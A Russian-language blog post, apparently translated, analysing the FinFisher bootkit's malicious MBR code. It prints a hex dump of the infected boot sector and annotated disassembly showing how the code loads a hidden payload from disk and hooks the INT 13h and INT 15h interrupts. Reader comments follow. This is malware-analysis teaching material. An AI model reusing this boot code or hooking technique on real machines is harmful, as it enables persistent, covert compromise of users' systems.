Добрый вечер! Ровно через неделю у нас стартует курс «Реверс-инжиниринг», и сегодня мы хотим поделиться с вами переводом материала, который имеет прямое отношение к этому курсу. Поехали.

Недавно мы исследовали вредоносный буткит FinFisher, опубликованный WikiLeaks. Большинство компонентов версии для Windows были достаточно простыми, так что перейдём сразу к драйверу режима ядра и загрузочному коду.



Драйвер режима ядра напрямую считывает сырые данные с жесткого диска, либо записывает их на него. С упрощенной версией метода, используемого драйвером, можно ознакомиться в этой статье.

Вредоносная программа создает копию главной загрузочной записи (master boot record, сокращенно — MBR) и сохраняет ее отдельно на жестком диске. Помимо этого, программа записывает 0x2A00 байтов данных на инфицированный жесткий диск. Они впоследствии копируются вредоносным загрузочным кодом. Адрес первого сектора, содержащего эти данные, захардкожен в загрузочный код. Чтобы найти их физическое расположение, вредоносная программа использует Logical Block Addressing (LBA).
На тестовой машине MBR была перезаписана следующими данными:

        f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34  .1.............4
	f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00  |h..h7|...?.....
	f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9  ......?.........
	f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11  ..1.....A..U..r.
	f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c  ..U.u.....t...6|
	f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c  ...4|......$?..|
	f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89  .......@..|0....
	f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01  ..|f...|f...|...
	f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e  - ...f1.fQ... ..
	f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36  ..>6|.t..b.....6
	f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00  .fYf......f.....
	f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00  .f.. |u...4|....
	f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00  ................
	f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c  ...........|...|
	f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a  f...|f...|fRf1..
	f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66  .4|..|.B..fZ.fRf
	f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7  Sf..f1.f1....|f.
	f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5  .fB...|f1.f1....
	f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16  |f.....|....f[..
	f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00  4|.....fZ.......
	f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01  ........e.e.....
	f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00  ......?.....?...
	f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa  ..............U.


При быстром осмотре данных можно сделать вывод, что вредоносная программа изменила загрузочный код, но информация таблицы разделов осталась нетронутой.

Анализ Вредоносного Загрузочного Кода

Рассмотрим более подробно самые интересные части загрузочного кода. Во-первых, выполняется проверка установки Extended Disk Drive (EDD):

seg000:0037 B4 41                                   mov     ah, 41h ; 'A'
seg000:0039 BB AA 55                                mov     bx, 55AAh
seg000:003C CD 13                                   int     13h   


Вредоносная программа устанавливает флаг, который указывает, установлен ли EDD. Флаг контролирует метод, используемый вредоносной программой для чтения данных с жесткого диска в физическую память:

seg000:004C C6 06 36 7C 01                          mov     byte ptr ds:if_edd_installed, 1   ;7C36h


Затем, вредоносная программа получает параметры диска:

seg000:0051 8A 16 34 7C                             mov     dl, ds:7C34h	;drive number, first drive is 0x80
seg000:0055 B4 08                                   mov     ah, 8
seg000:0057 CD 13                                   int     13h


На данный момент, программа собрала достаточно информации для копирования вредоносного блоба на 0x2A00 байт с жесткого диска в физическую память. Блоб данных копируется по сектору за раз. Код ниже — цикл, используемый вредоносной программой для копирования кода:

seg000:0091 80 3E 36 7C 01                          cmp     byte ptr ds:if_edd_installed, 1
seg000:0096 74 06                                   jz      short loc_9E
seg000:0098 E8 62 00                                call    read_data_method_no_edd_installed
seg000:009B E9 03 00                                jmp     loc_A1
seg000:009E                         ; ---------------------------------------------------------------------------
seg000:009E
seg000:009E                         loc_9E:                                
seg000:009E E8 36 00                                call    read_data_method_edd_installed
seg000:00A1
seg000:00A1                         loc_A1:                                 
seg000:00A1 66 59                                   pop     ecx
seg000:00A3 66 81 C1 01 00 00 00                    add     ecx, 1
seg000:00AA 66 81 D2 00 00 00 00                    adc     edx, 0
seg000:00B1 66 FF 0E 20 7C                          dec     dword ptr ds:7C20h	;0x0015
seg000:00B6 75 D0                                   jnz     short loc_88


Ниже приведен код функции, которая используется для копирования данных при установке EDD:

BOOT_SECTOR:7CD7 8C C0                                   mov     ax, es
BOOT_SECTOR:7CD9 A3 CD 7C                                mov     word_7CCD, ax
BOOT_SECTOR:7CDC 89 1E CB 7C                             mov     word_7CCB, bx
BOOT_SECTOR:7CE0 66 89 0E CF 7C                          mov     dword_7CCF, ecx
BOOT_SECTOR:7CE5 66 89 16 D3 7C                          mov     dword_7CD3, edx
BOOT_SECTOR:7CEA 66 52                                   push    edx
BOOT_SECTOR:7CEC 66 31 D2                                xor     edx, edx
BOOT_SECTOR:7CEF 8A 16 34 7C                             mov     dl, byte_7C34
BOOT_SECTOR:7CF3 BE C7 7C                                mov     si, 7CC7h			
BOOT_SECTOR:7CF6 B4 42                                   mov     ah, 42h ; 'B'
BOOT_SECTOR:7CF8 CD 13                                   int     13h             
	; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)


В этом примере, перед вызовом INT 13h для копирования первого сектора вредоносных данных в физическую память тестовой машины, мы имеем следующие аргументы:

	0x0000000000007cc7 <bogus+       0>:    0x0010  0x0001  0x0000  0x0100  0xa718  0x013f  
												 0x0000  0x0000
	+0: 0x10		- packet size
	+2: 0x1 		- number of sectors 
	+4: 0x0000  	- offset 
	+6: 0x1000		- segment
	+8: 0x013fa718	- LBA


После того, как вредоносная программа заканчивает копировать данные, она переходит к скопированному коду и продолжает выполнение там:

seg000:00B8 8A 16 34 7C                             mov     dl, ds:7C34h		;0x0000
seg000:00BC EA 00 10 00 00                          jmp     far ptr 0:1000h


Код в 0x1000 — самая интересная часть программы. Но перед тем, как продолжить анализ, стоит напомнить буткит FinFisher работает в реальном режиме. Это отличается от защищенного режима. Одно из отличий — приходится вычислять физические адреса с помощью комбинации регистров es:di и ds:si.
Формула для вычисления физического адреса — (сегмент * 0x10) + смещение. Например, если мы смотрим на пару es:di, то es — сегмент, а di — смещение. Все адреса ниже вычислены по этой формуле.
Теперь посмотрим на самую интересную часть кода. Во-первых, вредоносная программа вычисляет адрес сегмента, откуда копируются данные (это уже второй раз, когда копируется блоб данных):

seg000:0024 88 16 1B 00                             mov     ds:1Bh, dl
seg000:0028 BE 13 04                                mov     si, 413h
seg000:002B 26 8B 04                                mov     ax, es:[si]
seg000:002E 66 0F B7 C0                             movzx   eax, ax
seg000:0032 66 C1 E0 0A                             shl     eax, 0Ah
seg000:0036 66 2D C2 28 00 00                       sub     eax, 28C2h
	;before the segment address is stored:
	;<bochs:148> x /1hw 0x101c
	;[bochs]:0x000000000000101c <bogus+       0>:    0x00000000
seg000:003C 66 A3 1C 00                             mov     ds:1Ch, eax
	;ds = 0x0100, ds:1ch = hex((0x0100* 0x10) + 0x1c) = 0x101c
	;after the segment address is stored:
	;<bochs:150> x /1hw 0x101c
	;[bochs]:0x000000000000101c <bogus+       0>:    0x0009d33e


Затем, программа устанавливает хуки для обработчиков INT 13h и INT 15h. Как видно из приведенного выше кода, вредоносная программа не дает новых идей о том, как перехватить низкоуровневые обработчики прерывания:

seg000:0040 66 50                                   push    eax
seg000:0042 66 C1 E8 0A                             shr     eax, 0Ah
seg000:0046 26 89 04                                mov     es:[si], ax
	;es=0x0000, si = 0x0413
	;before:
	<bochs:156> x /1hw 0x413
	[bochs]:
	0x0000000000000413 <bogus+       0>:    0x0000027f

	;after:
	;<bochs:158> x /1hw 0x413
	[bochs]:
	0x0000000000000413 <bogus+       0>:    0x00000274

seg000:0049 66 58                                   pop     eax
seg000:004B
seg000:004B                         loc_4B:                                 
seg000:004B                                                                 
seg000:004B 66 C1 E8 04                             shr     eax, 4
seg000:004F A3 22 00                                mov     ds:22h, ax	
	;ax = 0x9d33
	;after:
	;<bochs:167> x /1hh 0x1022
	[bochs]:
	0x0000000000001022 <bogus+       0>:    0x9d33	
	
seg000:0052 FA                                      cli
seg000:0053                         loc_53:                                 
seg000:0053 8C D8                                   mov     ax, ds
seg000:0055 8E C0                                   mov     es, ax
seg000:0057 66 B8 20 E8 00 00                       mov     eax, 0E820h		
	;get system memory map	
seg000:005D 66 BA 50 41 4D 53                       mov     edx, 534D4150h 	;"SMAP"
seg000:0063 66 31 DB                                xor     ebx, ebx		
	;start at the beginning of the map.
seg000:0066 66 31 FF                                xor     edi, edi		
seg000:0069 BF 26 01                                mov     di, 126h		
	;es:di buffer that gets the result.
	;es = 0x100, di = 0x0126
seg000:006C 26 66 C7 45 14 01 00 00+                mov     dword ptr es:[di+14h], 1
seg000:0075 66 B9 18 00 00 00                       mov     ecx, 18h		
	;size of the buffer.
seg000:007B CD 15                                   int     15h             
	;BIOS Memory Services

seg000:007D 72 34                                   jb      short loc_B3	
seg000:007F 66 3D 50 41 4D 53                       cmp     eax, 534D4150h	
	;check if "SMAP"
seg000:0085 75 2C                                   jnz     short loc_B3
seg000:0087 66 85 DB                                test    ebx, ebx
seg000:008A 74 27                                   jz      short loc_B3
seg000:008C                                         db      3Eh
seg000:008C 3E 66 89 1E F2 02                       mov     ds:2F2h, ebx	
	;holds continuation value
	;ds = 0x100, physical address 0x12f2
seg000:0092 66 31 C0                                xor     eax, eax
seg000:0095 8E C0                                   mov     es, ax
seg000:0097                                         assume es:nothing
seg000:0097 26 66 A1 54 00                          mov     eax, dword ptr es:int_15_h 		;IVTABLE:0054
seg000:009C                                         db      3Eh
	;debug001:12EE 00 00 00 00             dword_12EE dd 0                         
	;debug001:12F2 01 00 00 00             dword_12F2 dd 1                
seg000:009C 3E 66 A3 EE 02                          mov     ds:2EEh, eax
	;debug001:12EE 59 F8 00 F0             dword_12EE dd 0F000F859h                
	;debug001:12F2 01 00 00 00             dword_12F2 dd 1       
seg000:00A1 A1 22 00                                mov     ax, ds:22h				;segment_hook
	;previously calculated value 0x9d33
seg000:00A4 66 C1 E0 10                             shl     eax, 10h
seg000:00A8 66 05 42 01 00 00                       add     eax, 142h
	;before hook is installed:
	IVTABLE:004C FE E3 00 F0             dword_4C dd 0F000E3FEh                  
	IVTABLE:004C                                                                 
	IVTABLE:0050 39 E7                   word_50 dw 0E739h                       
	IVTABLE:0052 00 F0                   word_52 dw 0F000h                       
	IVTABLE:0054 59 F8 00 F0             dword_54 dd 0F000F859h                  
	IVTABLE:0054      
seg000:00AE 26 66 A3 54 00               			mov     dword ptr es:int_15_h, eax			;hooks INT15h 
	;<bochs:206> x /1hw 0x54
	[bochs]:
	0x0000000000000054 <bogus+       0>:    0x9d330142
	
	;IVTABLE:0054 42 01                   word_54 dw 142h                        ;offset
	;IVTABLE:0056 33 9D                   dw 9D33h								 ;segment 

seg000:00B3                         loc_B3:                                                                                              
seg000:00B3 66 31 C0                                xor     eax, eax
seg000:00B6 8E C0                                   mov     es, ax
seg000:00B8 26 66 A1 4C 00                          mov     eax, dword ptr es:int_13_h	
	;before:
	;debug001:11D4 00 00 00 00             int_13_original dd 0   
	;after:
	;debug001:11D4 FE E3 00 F0             int_13_original dd 0F000E3FEh
seg000:00BD                                         db      3Eh
seg000:00BD 3E 66 A3 D4 01                          mov     ds:1D4h, eax
	;debug001:11CC FE E3 00 F0             int_13_original_1 dd 0F000E3FEh
seg000:00C2 3E 66 A3 CC 01                          mov     ds:1CCh, eax
seg000:00C7 A1 22 00                                mov     ax, ds:22h
	;0x9d33
seg000:00CA 66 C1 E0 10                             shl     eax, 10h
seg000:00CE                                         db      3Eh
seg000:00CE 3E 66 A3 51 02                          mov     ds:251h, eax
	;before:
	;debug001:1251 00 00 00 00             hook_segment dd 0 
	;after:
	;debug001:1251 00 00 33 9D             hook_segment dd 9D330000h
seg000:00D3 66 05 12 01 00 00                       add     eax, 112h
seg000:00D9 26 66 A3 4C 00                          mov     dword ptr es:loc_4B+1, eax		;hooks INT13h
	;es = 0x00 eax = 0x112
	
	;IVT after both INT 13h and INT 15h hooks are installed:
	IVTABLE:004C 12 01                   int_13_h dw 112h                       ; offset
	IVTABLE:004E 33 9D                   dw 9D33h								 ; segment
	IVTABLE:0050 39 E7                   word_50 dw 0E739h                       
	IVTABLE:0052 00 F0                   word_52 dw 0F000h                       
	IVTABLE:0054 42 01                   int_15_h dw 142h                        ; offset
	IVTABLE:0056 33 9D                   dw 9D33h								 ; segment


Теперь хуки установлены для INT 13h и INT 15h, но код для функций, перехватывающих INT, еще не скопирован в вычисленный сегмент. Очевидно, следующий шаг — скопировать код для перехваченных обработчиков:

seg000:00DE A1 22 00                                mov     ax, ds:22h
seg000:00E1 8E C0                                   mov     es, ax
seg000:00E3 31 FF                                   xor     di, di
seg000:00E5 B9 C2 28                                mov     cx, 28C2h
seg000:00E8 FC                                      cld
seg000:00E9 BE 3E 01                                mov     si, 13Eh
seg000:00EC F3 A4                                   rep movsb
	;si = 0x013e - source of the data to be copied.
	;di = 0x0000 - destination
	;cx = 0x28c2 - number of bytes to be copied.
	;ds = 0x0100, es = 0x9d33
	;the actual physical addresses of the source is ds:[si] = 
	;hex((0x0100 * 0x10) + 0x13e) = 0x113e 
	;the physical address of the destination is es:[di] = 
	;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30
	
	;copies all the data copied in the first stage except for the first 0x13e bytes.
	;hex(0x2a00-0x28c2) = 0x13e


Теперь вредоносная программа готова вернуть управление исходной MBR, но сперва, ей нужно восстановить MBR до 0x7C00 (сектор, в котором находится копия исходной MBR, хранится в другом месте на жестком диске), а затем передать выполнение исходной MBR.

seg000:00EE FB                                      sti
seg000:00EF 66 8B 0E 13 00                          mov     ecx, ds:13h
seg000:00F4 66 8B 16 17 00                          mov     edx, ds:17h
seg000:00F9 66 89 0E 1E 01                          mov     ds:11Eh, ecx
seg000:00FE 66 89 16 22 01                          mov     ds:122h, edx
seg000:0103 BE 16 01                                mov     si, 116h		;buffer
	;ds = 0x0100, address 0x1116
seg000:0106 BB AA 55                                mov     bx, 55AAh
seg000:0109 8A 16 1B 00                             mov     dl, ds:1Bh		;drive number here 0x80
seg000:010D B4 42                                   mov     ah, 42h ; 'B'
seg000:010F CD 13                                   int     13h             
	;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
	;INT 13h is hooked now
	;debug003:0112 EA 00 00 33 9D          jmp     far ptr loc_9D330

	;<bochs:267> x /10hh 0x1116
	[bochs]:
	0x0000000000001116 <bogus+       0>:    0x0010  0x0001  0x7c00  0x0000  0xa72d  0x013f  0x
	0000    0x0000
	0x0000000000001126 <bogus+      16>:    0x0000  0x0000
	
	size of the packet 0x0010
	number of blocks to transfer = 0x0001
	destination 0x7c00
	LBA: 0x013fa7d2

	;Jumps to the original MBR here:
	
seg000:0111 EA 00 7C 00 00                          jmp     far ptr 0:7C00h


Что мы узнали из буткита FinFisher

Этот пример буткита FinFisher не предлагает новых техник или улучшений по сравнении с другими буткитами. Создатели вредоносных программ решили установить хуки для обработчиков INT 13h and INT 15h до того, как код для этих обработчиков копируется в память; что может быть катастрофично. Например, если код перехваченных функций-обработчиков не сможет скопироваться, может случиться краш системы.

Традиционно ждём ваши комментарии и приглашаем всех на день открытых дверей, который пройдет уже завтра.

Комментарии (3)


  1. berez
    28.02.2019 10:07

    Непонятно, в чем смысл ставить хуки на int 13h и int 15h. Ведь любая современная ОС работает в защищенном режиме процессора, т. е. после загрузки ОС никто эти хуки не вызовет.


    1. fukkit
      28.02.2019 11:42

      На случай загрузки Windows'95, видимо.


      1. berez
        28.02.2019 12:00

        ЕМНИП, даже в 95-й уже использовались свои 32-битные драйвера дисков в защищенном режиме. Разве что расчет на загрузку в «чистом» режиме ДОС.
        В общем, статья полна деталей, какие операции буткит делает, но почти нет информации, зачем он это делает и почему именно так, а не иначе.